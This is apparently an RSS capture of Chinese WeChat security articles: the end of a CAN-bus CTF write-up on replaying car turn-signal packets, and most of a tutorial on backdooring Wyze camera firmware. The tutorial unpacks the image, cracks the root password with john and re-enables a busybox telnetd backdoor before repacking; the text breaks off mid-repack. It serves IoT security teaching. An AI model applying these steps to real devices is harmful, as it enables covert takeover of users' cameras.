255);">查看抓包中的0x188报文，可以发现在我们<strong>没有按下转向灯</strong>时，也是有报文在发送只是<strong>DATA段为0</strong>，在我们<strong>按下转向灯</strong>时，<strong>DATA段发生了变化</strong>如下所示。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6397748592870544" data-s="300,640" style="" data-type="png" data-w="1066" src="https://wechat2rss.xlab.app/img-proxy/?k=4e2d31d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1H2N3BejgpXRddSKfdINdUia1dbNkiaeDyfSuqrLzm3jM7aZJILT91wew%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">对转向灯数据包重放：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.2298682284040996" data-s="300,640" style="" data-type="gif" data-w="1366" src="https://wechat2rss.xlab.app/img-proxy/?k=3156c390&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1WLswfIubwdtEUTRnahG9g2AEmdutFicI1n3GuJKcxGzyBGD07eHTVlw%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">第一次接触CAN总线还是<strong>缺乏相关的准备</strong>，比赛后面的题目还是很有意思的，例如<strong>远程篡改汽车车辆识别号码</strong>等等。比赛之前也搜集很多关于车联网的资料，如果有需要的小伙伴请在<strong>公众号后台回复&lt;车联网&gt;获取车联网资料</strong>。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">最后，<strong>618我们也搞个小活动</strong>呀，师傅可以<strong>分享本文到朋友圈</strong>，然后扫描下方小程序码参与抽奖～<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.5421166306695464" data-s="300,640" style="" data-type="png" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=b8534f28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic10szUdemRAicDGc3q3mmia0XbHFcSc3NI84GdD7KwGrib5IHdd0ctadia8Q%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247486210">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8c92817d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486210%26idx%3D1%26sn%3D5f127ffbc7056b50df7822bb62402589%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Jun 2020 23:49:00 +0800</pubDate>
    </item>
    <item>
      <title>物联网安全｜手把手带你制作恶意固件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486196&amp;idx=1&amp;sn=cea3af522247cba28b7dac9fdc19df6f</link>
      <description>今天我们来分享一篇在摄像头固件中加入后门并重新打包的文章！！</description>
      <content:encoded><![CDATA[<p>
原创 <span>年华不散场</span> <span>2020-06-17 09:00</span> <span style="display: inline-block;"></span>
</p>

<p>今天我们来分享一篇在摄像头固件中加入后门并重新打包的文章！！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c1a1ae9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4LKCB3xE0uWf4kcP7K6KY5W6Mav75ZHdibVVZaOTMLK30icKnLErbDraw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.5787965616045845" data-s="300,640" style="" data-type="png" data-w="1396" src="https://wechat2rss.xlab.app/img-proxy/?k=2fbc92e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4DRnJQvWickUxh7PgV6JfeddxE0NbY34ksuc2lXUGQ8ZhObST4bMuibyw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">今天我们来分享一篇在摄像头固件中加入后门并重新打包的文章</span><br/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">今天我们选择的是一款Wyze摄像头，固件版本（demo_v2_4.9.5.36），<strong>后台回复&lt;摄像头&gt;获得下载地址</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.9598393574297188" data-s="300,640" style="width: 248px;height: 238px;" data-type="png" data-w="498" src="https://wechat2rss.xlab.app/img-proxy/?k=e376abb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4v13JboiccgN7ibjxLnVt045pZXZbn1ckEEYHeXJVictC2o3BWPOsicWFEw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">首先使用<strong>binwalk分析</strong>一下固件：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">binwalk</span> <span class="code-snippet__selector-tag">-t</span> <span class="code-snippet__selector-tag">demo_v2_4</span><span class="code-snippet__selector-class">.9</span><span class="code-snippet__selector-class">.5</span><span class="code-snippet__selector-class">.36</span><span class="code-snippet__selector-class">.bin</span></span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.26841085271317827" data-s="300,640" style="" data-type="png" data-w="2064" src="https://wechat2rss.xlab.app/img-proxy/?k=8277e047&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4leibzGk42yc3M5L39gutLdlvcefeicMAMu7daY5uf422A2md0fTV4tVA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">分析1中的uImage信息</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">，该引导程序告诉了我们很多关于固件的信息，例如架构MIPS、创建时间、系统类型还包括了CRC校验等等</span><br/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">根据第二部分中的uImage头信息</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">，可以发现内核为Linux-3.10.14</span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">第三部分为两个SquashFS文件系统</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">，SquashFS是一种只读文件系统</span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">第四部分是一个JFFS2文件系统</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">。</span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">现在我们可以使用<strong>binwalk -e</strong>提取所有的文件，但是我们为了一会儿方便的打包，我们自己写个程序提取文件。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#!/usr/bin/env python3</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Firmwarepart</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(self,name,offset,size)</span>:</span></span></code><code><span class="code-snippet_outer">        self.name = name</span></code><code><span class="code-snippet_outer">        self.offset = offset</span></code><code><span class="code-snippet_outer">        self.size = size</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">firmware_parts = [</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;uimage_header&#34;</span>,<span class="code-snippet__number">0x0</span>,<span class="code-snippet__number">0x40</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;uimage_kernel&#34;</span>,<span class="code-snippet__number">0x40</span>,<span class="code-snippet__number">0x200000</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;squashfs_1&#34;</span>,<span class="code-snippet__number">0x200040</span>,<span class="code-snippet__number">0x350000</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;squashfs_2&#34;</span>,<span class="code-snippet__number">0x550040</span>,<span class="code-snippet__number">0xa0000</span>),</span></code><code><span class="code-snippet_outer">    Firmwarepart(<span class="code-snippet__string">&#34;jffs2&#34;</span>,<span class="code-snippet__number">0x5F0040</span>,<span class="code-snippet__number">11075648</span><span class="code-snippet__number">-0x5F0040</span>)</span></code><code><span class="code-snippet_outer">]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> sys.argv[<span class="code-snippet__number">1</span>] == <span class="code-snippet__string">&#39;unpack&#39;</span>:</span></code><code><span class="code-snippet_outer">    f = open(sys.argv[<span class="code-snippet__number">2</span>],<span class="code-snippet__string">&#34;rb&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> part <span class="code-snippet__keyword">in</span> firmware_parts:</span></code><code><span class="code-snippet_outer">        outfile = open(part.name,<span class="code-snippet__string">&#34;wb&#34;</span>)</span></code><code><span class="code-snippet_outer">        f.seek(part.offset,<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">        data = f.read(part.size)</span></code><code><span class="code-snippet_outer">        outfile.write(data)</span></code><code><span class="code-snippet_outer">        outfile.close()</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">f&#34;Wrote <span class="code-snippet__subst">{part.name}</span> - <span class="code-snippet__subst">{hex(len(data))}</span> bytes.&#34;</span>)</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">运行</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">wyze_extractor</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">unpack</span> <span class="code-snippet__selector-tag">demo_v2_4</span><span class="code-snippet__selector-class">.9</span><span class="code-snippet__selector-class">.5</span><span class="code-snippet__selector-class">.36</span><span class="code-snippet__selector-class">.bin</span></span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">提取后的文件如下图所示：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.33014354066985646" data-s="300,640" style="" data-type="png" data-w="1254" src="https://wechat2rss.xlab.app/img-proxy/?k=f2596fa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4Qibauk1EWwwFKRTgHknrRFxzbeZhp4RwNxIHys9BjETkOjzIlrHfhJA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">对于squashFS文件系统的提取，我们使用<strong>unsquashfs</strong>来实现：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">unsquashfs</span> -d squashfs_2_out squashfs_2</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">对于jffs2文件系统的提取，我们使用jefferson来实现：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">jefferson</span> -d jffs2_out jffs2</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">提取之后检查一下敏感信息，shadow文件如下：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3480392156862745" data-s="300,640" style="" data-type="png" data-w="1632" src="https://wechat2rss.xlab.app/img-proxy/?k=25edadd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl44RBNmIxzS763N1BtCibpxUuvQeIlx7FPYMIAjcic6LUky7bx8mzTuoVA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">使用john破解一下</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.19781420765027322" data-s="300,640" style="" data-type="png" data-w="1830" src="https://wechat2rss.xlab.app/img-proxy/?k=7edb62f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4wRvrIzKhu8jK8443ZqDDHm4KXmG8hljosGlE0LZbkm2p2A9D2xQMtQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">现在我们知道了root的账号密码，如果开启了ssh服务，那我们就可以通过ssh登陆到主机。找一下系统启动项：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">vi</span> /etc/init.d/rcs</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8430079155672823" data-s="300,640" style="" data-type="png" data-w="1516" src="https://wechat2rss.xlab.app/img-proxy/?k=6649f110&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl49skv9Txzcsvg9ccV4vGD3uZmWtkNd31roicJNNzJfiaks10YOk1UJ42A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们可以看到系统在启动时的确是启动了telnet服务，但是实际上telnet服务并未启动（通过扫描端口发现）。</span></p><p><mpcpc js_editor_cpcad="" class="js_cpc_area cpc_iframe" src="/cgi-bin/readtemplate?t=tmpl/cpc_tmpl#1592313817748" data-category_id_list="1|11|16|17|22|24|26|27|28|3|31|32|35|36|37|39|41|42|43|45|46|47|48|5|6|7|8" data-id="1592313817748"></mpcpc><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们在解包后的固件里直接搜索</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">grep</span> -r telnet .</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.22786759045419552" data-s="300,640" style="" data-type="png" data-w="2598" src="https://wechat2rss.xlab.app/img-proxy/?k=f7b3df21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl44tPMyiaWPre2wdiculb7vbDoqkED0oKEJ1bh3MkKr7tzr5uPJLXnRH4g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">可以看到在iCamera文件里，telnet服务被禁用掉了。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.13404507710557534" data-s="300,640" style="" data-type="png" data-w="1686" src="https://wechat2rss.xlab.app/img-proxy/?k=b93bcb95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4UG0yb1nWxlWZ73zsn7yoaKWia7pibYwceiakfTO6dNxpJpoN8FBFlGtcg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">事实上，该摄像头使用的telnet服务实际上为busybox中的telnet，所以我们可以将启动脚本中的telnet修改为：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">busybox</span> telnetd &amp;</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.9150823827629911" data-s="300,640" style="" data-type="png" data-w="1578" src="https://wechat2rss.xlab.app/img-proxy/?k=88e2b61e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4sy7slY67gowXGFPNQHMLH9oWSfP3bJodurwQzfH9GKG0oj9KCiczm4w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">现在这个服务就不会被kill掉了，接下来我们要将这几个文件系统重新打包并生成固件。</span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们使用unsquashfs查看一下原来的文件系统信息：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">unsquashfs</span> -s squashfs_1</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3935790725326992" data-s="300,640" style="" data-type="png" data-w="1682" 